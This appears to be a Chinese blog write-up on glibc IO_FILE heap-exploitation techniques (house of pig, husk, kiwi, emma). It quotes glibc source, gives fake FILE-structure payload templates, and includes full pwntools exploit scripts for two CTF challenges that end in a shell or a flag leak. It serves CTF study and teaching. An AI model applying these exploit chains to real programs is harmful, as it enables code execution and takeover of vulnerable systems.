image-20220317233212853

1
2
3
4
5
6
7
8
9
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //执行函数 call qword ptr [fp+0xE8h]
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

可以看见,如果满足条件,将直接把fp->_s._free_buffer当作函数指针来调用。那么,只要在之前低版本布置的vtable 修改为_IO_str_jumps-8,这样就会使得 _IO_str_finish 成为了伪造的vtable地址的 _IO_OVERFLOW 函数,并且这个地址是在 vtable 段中的,可以满足检查。

然后去构造 fp->_IO_buf_base 为 “/bin/sh\x00”的地址,即可满足判断条件,同时也满足了后面作为参数的需求。

接着构造 fp->_flags 不包含 _IO_USER_BUF 。它的定义为#define _IO_USER_BUF 1, 即 fp->_flags 最低位为0即可 。

最后把 fp->_s._free_buffer 修改为 system 或者 one_gadget 。

1
2
3
4
vtable = _IO_str_jumps - 0x8
fp->_flags = 0
fp->_IO_buf_base = binsh_addr
fp + 0xe8 = system_addr

另一个可以利用函数 _IO_str_overflow,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int _IO_str_overflow (_IO_FILE *fp, int c)
{
[...]
{
if (fp->_flags & _IO_USER_BUF) // not allowed
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
[...]
}

old_blen 是通过 _IO_buf_end 减去 _IO_buf_base 得到的,并且指向的 _IO_str_overflow 偏移是一致的,所以不需要更改,因此需要增添的地方如下:

1
2
3
4
5
vtable = _IO_str_jumps
fp->_flags = 0
fp->_IO_buf_base = 0
fp->_IO_buf_end = (bin_sh_addr - 100) / 2
fp + 0xe8 = system_addr

另:

如果libc中没有_IO_wstr_jumps_IO_str_jumps表的符号,给出定位_IO_str_jumps_IO_wstr_jumps的方法:

  • 定位_IO_str_jumps表的方法,_IO_str_jumps是vtable中的倒数第二个表,可以通过vtable的最后地址减去0x168
  • 定位_IO_wstr_jumps表的方法,可以通过先定位_IO_wfile_jumps,得到它的偏移后再减去0x240即是_IO_wstr_jumps的地址。

img

glibc-2.28 中直接使用 malloc 和 free 替换掉原来在 _IO_str_fields 里的 _allocate_buffer_free_buffer。因而不再使用偏移,无法再利用 __libc_IO_vtables 上的 vtable 绕过检查,于是上面的利用技术都失效了。

glibc-2.28~2.34

glibc-2.24 中我们伪造 vtable 是因为其不可写,但是在 glibc-2.29~2.35 中,vtable 是可写的

image-20220824163622145

因此可以选择覆盖 _IO_file_jumps

house of pig

适用版本 glibc2.28~2.33,适用于程序中仅有 calloc 函数来申请 chunk,而没有调用 malloc 函数的情况。

house of pig的触发条件就是调用 _IO_flush_all_lockp的条件,即需要满足如下三个之一:

  1. 当 libc 执行 abort 流程时。
  2. 程序显式调用 exit 。
  3. 程序能通过主函数返回。

攻击前提:

  1. 拥有堆地址和 libc 地址
  2. 能够把 free_hook 放入 tcache 中
  3. 可以劫持 IO 流(如劫持 _IO_list_all)

原理

glibc2.28以后的 _IO_str_overflow 函数源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only)) // 需要满足的条件
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}

重点关注这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}

可以看到程序里面有 malloc,memcpy,free 等函数,而参数 old_buf,old_blen = _IO_buf_end - _IO_buf_base,是我们可以控制的,因此可以利用这一点来进行堆块布局,实现 FSOP。

需要满足的条件是 _IO_write_ptr - _IO_write_base >= _IO_buf_end - _IO_buf_base。

1
2
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))

所以构造 FILE 结构的时候,重点是将其 vtable 由 _IO_file_jumps 修改为 _IO_str_jumps,那么会连续调用 malloc、memcpy、free 函数。可以实现利用 malloc 申请出那个已经被放入到 tcache 链表的头部的包含 __free_hook 的 fake chunk;通过memcpy 将提前在堆上布置好的数据写入到申请出来的包含__free_hook的 chunk 中,从而能任意控制 __free_hook,这里可以将其修改为 system 函数地址;最后调用 free时,就能够触发 __free_hook ,同时在布置堆上数据的时候,使其以字符串 “/bin/sh\x00” 开头,那么最终就会执行 system(“/bin/sh”)。

因此最终布局对应关系如下:

1
2
3
4
5
6
7
8
_flags = 0
_IO_write_base = 0
_IO_write_ptr = 0xffffffffffff # 满足条件
_IO_buf_base = binsh_addr
_IO_buf_end = binsh_addr + offset
new_buf = malloc(2 * (_IO_buf_end - _IO_buf_base) + 100)
memcpy(new_buf, _IO_buf_base, _IO_buf_end - _IO_buf_base)
free(_IO_buf_base)

例题 2021xctf_final house_of_pig

漏洞点一:在切换角色时,第三个判断被’\x00’截断了,只需要找一个 md5 值为与 ‘<D’ 相等即可随意切换角色。

image-20230125180253592

漏洞点二:存在指针悬挂,采取策略是使用 flag 位来进行判断。

image-20230125180511122

但是在保存角色状态时,flag 位并未跟着一起保存,而在恢复时会把 flag 位清零,所以就会造成 UAF,但是无法 double free。

image-20230125180635469

image-20230125180742629

IO 堆块布局参考:

1
2
3
4
5
6
7
8
9
stream = 2 * p64(0)
stream += p64(1) + p64(0xffffffffffff) # (_IO_write_ptr - fp->_IO_write_base) >= (_IO_buf_end - _IO_buf_base)
stream += p64(0)
stream += p64() # _IO_buf_base
stream += p64() # _IO_buf_end
stream = stream.ljust(0xb0, b'\x00') # malloc_size = 2*(_IO_buf_end - _IO_buf_base) + 100
stream += p64(0) # _mode = 0
stream = stream.ljust(0xc8, b'\x00')
stream += p64(_IO_str_jumps) # vtable

成功getshell。

image-20230125180849626

exp申请一个 0xa0 的堆块可以触发 largebin attack,说明触发攻击时不一定需要申请一块比 ptr2 大的堆块,只要申请的堆块 size 大等于 0xa0即可(其他题目也是这样,不知道为什么。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pig')
DEBUG = 1
if DEBUG:
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
p = process('./pig')
else:
ip = '127'
port = 30007
libc = ELF("./libc.so.6")
p = remote(ip, port)

def debug(info="b main"):
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")


def choose(choice):
p.sendlineafter(b"Choice: ", str(choice).encode('ascii'))


def add(size, content):
choose(1)
p.recvuntil(b"Input the message size: ")
p.sendline(str(size).encode('ascii'))
p.recvuntil(b"message: ")
p.send(content)


def edit(idx, content):
choose(3)
p.recvuntil(b"Input the message index: ")
p.sendline(str(idx).encode('ascii'))
p.recvuntil(b"message: ")
p.send(content)


def show(idx):
choose(2)
p.recvuntil(b"Input the message index: ")
p.sendline(str(idx).encode('ascii'))
p.recvuntil(b'The message is: ')


def free(idx):
choose(4)
p.recvuntil(b"Input the message index: ")
p.sendline(str(idx).encode('ascii'))


def change(role):
choose(5)
if (role == 1):
p.sendlineafter(b"user:\n", b"A\x01\x95\xc9\x1c")
if (role == 2):
p.sendlineafter(b"user:\n", b"B\x01\x87\xc3\x19")
if (role == 3):
p.sendlineafter(b"user:\n", b"C\x01\xf7\x3c\x32")


change(2)
for i in range(5):
add(0x90, b'b\n' * 3) # B0~B4
free(i) # B0~B4

change(1)
add(0x150, b'a\n' * 7) # A0
for i in range(7):
add(0x150, b'a\n' * 7) # A1~A7
free(i + 1)
free(0)

change(2)
add(0xb0, b'b\n' * 3) # B5

change(1)
add(0x180, b'a\n' * 8) # A8
for i in range(7):
add(0x180, b'a\n' * 8) # A9~A15
free(i + 9)
free(8)

change(2)
add(0xe0, b'b\n' * 4) # B6

change(1)
add(0x430, b'a\n' * 22) # A16

change(2)
add(0xf0, b'b\n' * 5) # B7

change(1)
free(16)

change(2)
add(0x440, b'b\n' * 22) # B8

change(1)
show(16)
leak = u64(p.recv(6).ljust(8, b'\x00')) - 0x1ecfe0
log.info("libc_base==>0x%x" %leak)
free_hook = leak + libc.sym['__free_hook']
sys = leak + libc.sym['system']
_IO_list_all = leak + libc.sym['_IO_list_all']
_IO_str_jumps = leak + 0x1e9560
edit(16, b'a' * 0x10 + b'\n')
show(16)
p.recvuntil(b'a'*0x10)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x13940
log.info("heap_base==>0x%x" %heap_base)

# first large bin attack
edit(16, p64(leak + 0x1ecfe0)*2 + b'\n')
add(0x430, b'a\n' * 22) # A17
add(0x430, b'a\n' * 22) # A18
add(0x430, b'a\n' * 22) # A19

change(2)
free(8)
add(0x450, b'b\n' * 23) # B9

change(1)
free(17)

change(2)
edit(8, p64(0) + p64(free_hook - 0x28) + b'\n')

change(3)
add(0xa0, b'c\n' * 3) # C0 largebin attack

change(2)
edit(8, 2*p64(heap_base + 0x13e80) + b'\n') # recover

#second largebin_attack
change(3)
add(0x380, b'c\n' * 18) # C1

change(1)
free(19)

change(2)
edit(8, p64(0) + p64(_IO_list_all - 0x20) + b'\n')

change(3)
add(0xa0, b'c\n'*3) # C2 largebin attack

change(2)
edit(8, 2*p64(heap_base + 0x13e80) + b'\n') # recover

# tcache_stashing_unlink_attack and FILE attack
change(1)
edit(8, b'c'*0x50 + p64(heap_base + 0x12280) + p64(free_hook - 0x20) + b'\n')
# debug()
change(3)
payload = p64(0)*3 + p64(heap_base + 0x147c0) + p64(0)*40
# payload = payload.ljust(0x158, b'\x00')
add(0x440, payload) # C3 change fake FILE _chain
add(0x90, b'c\n'*3) # C4 tcache_stashing_unlink_attack

stream = 2 * p64(0)
stream += p64(1) + p64(0xffffffffffff) # (_IO_write_ptr - fp->_IO_write_base) >= (_IO_buf_end - _IO_buf_base)
stream += p64(0)
stream += p64(heap_base + 0x148a0) # _IO_buf_base = binsh_addr
stream += p64(heap_base + 0x148b8) # malloc_size = 2*(_IO_buf_end - _IO_buf_base) + 100
stream = stream.ljust(0xb0, b'\x00')
stream += p64(0) # _mode = 0
stream = stream.ljust(0xc8, b'\x00')
stream += p64(_IO_str_jumps) # vtable
stream += b'/bin/sh\x00' + 2*p64(sys)

p.sendlineafter(b'Gift:', stream + b'\n')
#debug()
choose(5)
p.sendlineafter(b"user:\n", b'')
p.interactive()

另一种利用思路——orw

适用版本 glibc-2.29~2.33,比较适用于无法申请 tcachebin 的堆块(只允许申请 large chunk),利用 _IO_str_overflow 里的 malloc 进行申请 tcache 堆块,达成任意地址写。

攻击前提:

  1. 拥有堆地址和 libc 地址
  2. 能够把 malloc_hook 放入 tcache 中
  3. 可以劫持 IO 流(如劫持 _IO_list_all)

原理:

在 _IO_str_overflow 中调用 malloc 之前,会 执行一条汇编执行 mov rdx,QWORD PTR [rdi+0x28],并且直到调用 malloc 时,都没有再次的更改 rdx 的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x7ffff7e6eb20 <__GI__IO_str_overflow>:    repz nop edx
0x7ffff7e6eb24 <__GI__IO_str_overflow+4>: push r15
0x7ffff7e6eb26 <__GI__IO_str_overflow+6>: push r14
0x7ffff7e6eb28 <__GI__IO_str_overflow+8>: push r13
0x7ffff7e6eb2a <__GI__IO_str_overflow+10>: push r12
0x7ffff7e6eb2c <__GI__IO_str_overflow+12>: push rbp
0x7ffff7e6eb2d <__GI__IO_str_overflow+13>: mov ebp,esi
0x7ffff7e6eb2f <__GI__IO_str_overflow+15>: push rbx
0x7ffff7e6eb30 <__GI__IO_str_overflow+16>: sub rsp,0x28
0x7ffff7e6eb34 <__GI__IO_str_overflow+20>: mov eax,DWORD PTR [rdi]
0x7ffff7e6eb36 <__GI__IO_str_overflow+22>: test al,0x8
0x7ffff7e6eb38 <__GI__IO_str_overflow+24>: jne 0x7ffff7e6eca0 <__GI__IO_str_overflow+384>
0x7ffff7e6eb3e <__GI__IO_str_overflow+30>: mov edx,eax
0x7ffff7e6eb40 <__GI__IO_str_overflow+32>: mov rbx,rdi
0x7ffff7e6eb43 <__GI__IO_str_overflow+35>: and edx,0xc00
0x7ffff7e6eb49 <__GI__IO_str_overflow+41>: cmp edx,0x400
0x7ffff7e6eb4f <__GI__IO_str_overflow+47>: je 0x7ffff7e6ec80 <__GI__IO_str_overflow+352>
0x7ffff7e6eb55 <__GI__IO_str_overflow+53>: mov rdx,QWORD PTR [rdi+0x28] <----
0x7ffff7e6eb59 <__GI__IO_str_overflow+57>: mov r14,QWORD PTR [rbx+0x38]
0x7ffff7e6eb5d <__GI__IO_str_overflow+61>: mov r12,QWORD PTR [rbx+0x40]
0x7ffff7e6eb61 <__GI__IO_str_overflow+65>: xor ecx,ecx
0x7ffff7e6eb63 <__GI__IO_str_overflow+67>: mov rsi,rdx
0x7ffff7e6eb66 <__GI__IO_str_overflow+70>: sub r12,r14
0x7ffff7e6eb69 <__GI__IO_str_overflow+73>: cmp ebp,0xffffffff
0x7ffff7e6eb6c <__GI__IO_str_overflow+76>: sete cl
0x7ffff7e6eb6f <__GI__IO_str_overflow+79>: sub rsi,QWORD PTR [rbx+0x20]
0x7ffff7e6eb73 <__GI__IO_str_overflow+83>: add rcx,r12
0x7ffff7e6eb76 <__GI__IO_str_overflow+86>: cmp rcx,rsi
0x7ffff7e6eb79 <__GI__IO_str_overflow+89>: ja 0x7ffff7e6ec4a <__GI__IO_str_overflow+298>
0x7ffff7e6eb7f <__GI__IO_str_overflow+95>: test al,0x1
0x7ffff7e6eb81 <__GI__IO_str_overflow+97>: jne 0x7ffff7e6ecc0 <__GI__IO_str_overflow+416>
0x7ffff7e6eb87 <__GI__IO_str_overflow+103>: lea r15,[r12+r12*1+0x64]

显然,这可以配合着 glibc-2.31 之后的 setcontext + 61 一起使用,正好可以把 rdx 值修改为可控地址。因此利用跟上面的思路大致一样,改变成选择把 malloc_hook 填充为 setcontext,这样在我们进入 _IO_str_overflow 时首先会将 rdx 赋值为我们可以控制的地址,然后再次 malloc 的时候会触发 setcontext,而此时 rdx 已经可控,因此就可以成功实现 srop。

因此对应关系为:

1
2
3
4
5
6
7
_flags = 0
_IO_write_ptr = 用于srop的地址(此时同时满足了fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base)
_IO_buf_base = setcontext_addr
_IO_buf_end = setcontext_addr + offset
new_buf = malloc(2 * (_IO_buf_end - _IO_buf_base) + 100)
memcpy(new_buf, _IO_buf_base, _IO_buf_end - _IO_buf_base)
free(_IO_buf_base)

堆块布局模板为:

1
2
3
4
5
6
7
8
9
10
11
stream = 2 * p64(0)
stream += p64(1) + p64(rdx_value) # (_IO_write_ptr - fp->_IO_write_base) >= (_IO_buf_end - _IO_buf_base)
stream += p64(0)
stream += p64(gadget_addr) # _IO_buf_base
stream += p64(gadget_addr + offset) # _IO_buf_end
stream += p64(0) * 4 # malloc_size = 2*(_IO_buf_end - _IO_buf_base) + 100
stream += p64(heap_addr) # _chain
stream = stream.ljust(0xb0, b'\x00')
stream += p64(0) # _mode = 0
stream = stream.ljust(0xc8, b'\x00')
stream += p64(_IO_str_jumps) # vtable

house of husk

适用版本:跟版本无关,是一个专门针对 printf 家族函数进行攻击的手法,适用于有调用 printf 家族函数的程序,且其中需带上格式化字符,比如 %s,%x 等,用来计算 spec。适用于只能分配较大 chunk 时(超过 fastbin ),存在或可以构造出 UAF 漏洞。

攻击前提:

  1. 存在调用 printf 家族函数,并且存在 spec。
  2. 拥有 libc 地址。
  3. 可以劫持 __printf_arginfo_table 为可控地址,以及重写 __printf_function_table 不为 NULL 。(两者交换也行,只是正常程序流程会先调用 __printf_arginfo_table[spec] 处的函数指针)

原理

函数调用链如下,其中 spec 索引指针就是格式化字符的 ascii 码值,比如 printf(“%S”),那么就是 S 的 ascii 码值。

1
2
3
printf->vfprintf->printf_positional->__parse_one_specmb->__printf_arginfo_table(spec)
|
->__printf_function_table(spec)

__printf_function_table 不能为 NULL,否则就会调用 calloc 申请堆块,然后会填充 __printf_function_table[spec] 和 __printf_arginfo_table[spec]。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}

__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}

__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;

除了上面的满足 __printf_function_table 不能为 NULL,__printf_function_table[spec] 处不为 NULL,这条很好满足,因为这就是我们要伪造的函数指针,getshell 时直接填成 one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (spec <= UCHAR_MAX    // spec 对应的类型的 ascii 码值要小于 UCHAR_MAX = 0xff
&& __printf_function_table != NULL
&& __printf_function_table[(size_t) spec] != NULL)
{
const void **ptr = alloca (specs[nspecs_done].ndata_args
* sizeof (const void *));

/* Fill in an array of pointers to the argument values. */
for (unsigned int i = 0; i < specs[nspecs_done].ndata_args;
++i)
ptr[i] = &args_value[specs[nspecs_done].data_arg + i];

/* Call the function. */
function_done = __printf_function_table[(size_t) spec]
(s, &specs[nspecs_done].info, ptr);

另一个函数调用的地方如下,满足 __printf_function_table 不为 NULL,以及 __printf_arginfo_table[spec->info.spec] 不为 NULL 时,就会调用这个函数指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
{
····
}

因此利用思路在于修改这两个函数指针,以及伪造 spec 索引指向的位置。同时,在实际情况中程序是先调用的 **__printf_arginfo_table ** 中对应的 spec 索引的函数指针,然后调用 __printf_function_table 对应 spec 索引函数指针,所以为了达成调用,就得同时对 __printf_arginfo_table 和 __printf_function_table 进行劫持伪造,总结如下:

1
2
3
4
__printf_arginfo_table = heap_addr  # 可控地址
__printf_function_table != 0
//其中 __printf_arginfo_table 和 __printf_function_table 可以对调
heap_addr + 'spec' * 8 = one_gadget # sepc 指格式化字符对应的ascii码值

例题34c3 CTF readme_revenge

没开 PIE,同时 got 表可写。

image-20230127160237528

程序很简单,只有一个输入点存在溢出,并且输入的地方就在 .bss 段上;同时,文件本身是个静态编译的文件,函数的各种地址直接保存在 .bss 段上,所以是可以直接一路溢出覆盖后面保存的各种函数的地址,从而造成劫持。

image-20230127160427307

flag 直接保存在 .data 段上,所以就是劫持 __printf_arginfo_table 为 stack_chk_fail,再劫持其中报错打印的参数为 flag 的地址,从而获取 flag。

image-20230127160636227

成功输出 flag。

image-20230127161252423

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding=utf-8
from pwn import *
context.update(arch='amd64', os='linux')
elf = ELF('./readme_revenge')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./readme_revenge')

__printf_function_table = 0x6b7a28
__printf_arginfo_table = 0x6b7aa8
target_addr = 0x6b73e0
stack_chk_fail = 0x4359b0
flag_addr = 0x6b4040
__libc_argv = 0x6b7980

payload = p64(flag_addr)
payload = payload.ljust(0x73 * 8,b'\x00')
payload += p64(stack_chk_fail)
payload = payload.ljust(__libc_argv - target_addr, b'\x00')
payload += p64(target_addr) # arg
payload = payload.ljust(__printf_function_table - target_addr, b'\x00')
payload += p64(1) # __printf_function_table not null
payload = payload.ljust(__printf_arginfo_table - target_addr, b'\x00')
payload += p64(target_addr) # __printf_arginfo_table

p.sendline(payload)
p.interactive()

house of kiwi

攻击前提:

  1. assert 判断出错。
  2. 能够任意写,修改_IO_file_sync_IO_helper_jumps + 0xA0 and 0xA8(getshell 只要劫持 _IO_file_sync 即可)
  3. 拥有 libc 地址。

原理

函数调用链:assert -> malloc_assert -> fflush(stderr) -> _IO_file_jumps 结构体中的 __IO_file_sync

触发 assert 时,会调用到 fflush(stderr),,其中会调用 _IO_file_jumps 中的 sync 指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
// GLIBC 2.32/malloc.c:288
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

执行 __IO_file_sync 时的寄存器情况如下,RDX 是指向 _IO_helper_jumps,RDI 指向 _IO_2_1_stderr。

image-20230128145305568

触发 assert 的办法:

  1. 改小 top_chunk ,并置 pre_inuse 为 0,当 top_chunk 不足分配且 pre_inuse 为 0 会触发一个 assert。(该 assert 函数在sysmalloc 函数中被调用)
  2. 修改 large bin chunk 的 size 中的 flag 位。(不确定)

house of emma

适用版本:glibc-2.36 及以下所有版本

攻击前提:

  1. 可以触发两次的往任意地址写一个可控地址,除非能泄露 pointer_guard(LargeBin Attack、Tcache Stashing Unlink Attack…)
  2. 可以触发 IO 流(能触发 FSOP 以及 House_Of_Kiwi 的条件都行)

原理

在 vtable 的合法范围内,存在一个 _IO_cookie_jumps:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_cookie_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_file_setbuf),
JUMP_INIT(sync, _IO_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_cookie_read),
JUMP_INIT(write, _IO_cookie_write),
JUMP_INIT(seek, _IO_cookie_seek),
JUMP_INIT(close, _IO_cookie_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue),
};

其中 _IO_cookie_read、_IO_cookie_write、_IO_cookie_seek、_IO_cookie_close 中都存在函数指针调用,这里只选取 _IO_cookie_write 为例,其他也都大差不差:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp; // _IO_cookie_file 的内容来自于fp指针
cookie_write_function_t *write_cb = cfile->__io_functions.write; // 如果fp可控,则可以伪造 read_cb
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb); // 函数指针保护,默认开启
#endif

if (write_cb == NULL)
{
fp->_flags |= _IO_ERR_SEEN;
return 0;
}

ssize_t n = write_cb (cfile->__cookie, buf, size); // 函数指针调用
if (n < size)
fp->_flags |= _IO_ERR_SEEN;

return n;
}

PTR_DEMANGLE(指针保护),默认开启,需要绕过:

1
2
3
4
extern uintptr_t __pointer_chk_guard attribute_relro;
# define PTR_MANGLE(var) \
(var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)
# define PTR_DEMANGLE(var) PTR_MANGLE (var)

__pointer_chk_guard 可以通过搜索 canary 的值寻找,在 canary 的下方就是。

image-20230205180716820

具体表现如下: 这个值存在于 TLS 段上,会将指针 ROR 移位 0x11 后再与 __pointer_chk_guard 进行异或。

image-20230202005822546

所以要绕过这个值,一般是采取 largebin attack(或类似意义的手法) 写入一个可控的堆地址。无论使用什么方法,我们根本思想:是让这个本来是随机的、不确定的异或值,转变为已知的值。

_IO_cookie_write 函数的汇编实现:

image-20230202005858433

可以看到最后的效果是将 rdi + 0xe0 位置的值作为 rdi , rdi + 0xf0 位置的值作为 rip 跳过去。

攻击思路:stderr 在 libc 中时,劫持 stderr 为可控地址,然后进行布局,通过 house of kiwi 的调用链进行触发。

stderr 在 bss 时,需要走正常的 IO 流时,不能先修改 __pointer_chk_guard,因为在 exit 中也有调用指针保护的函数指针执行,但此时的异或内容被我们所篡改,使得无法执行正确的函数地址。所以要利用 house of pig 中的 orw 打法,在 IO 中利用 malloc、memcpy、free 先修改 __pointer_chk_guard,然后再通过 _chain 链接下一个 Fake_IO 进行 House_OF_Emma。

模板:

_IO_cookie_jumps = _IO_str_jumps - 0xb40

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 函数指针解密
def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)


# IO 布局参考
_IO_cookie_jumps = leak + libc.sym['_IO_cookie_jumps']
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(_IO_cookie_jumps + 0x40) # vtable
fake_IO_FILE += p64(srop_addr) # rdiValue
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget ^ (heap_base + 0x2bd0), 0x11)) # call func

例题 2021湖湘杯 House _OF _Emma

house of apple + house of emma

漏洞点在于堆块释放后未清空指针,造成 UAF

image-20230209150546519

emmm,apple 是成功了,但是后面才反应过来,如果是触发 __malloc_assert,无法像调用 exit 一样,不断的顺着 chain 执行,所以这题没办法这么结合。。。。不过也没什么了,能成功触发 apple ,如果能继续触发,emma 应该也是没问题的了,都是模板了。

image-20230209145150731

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
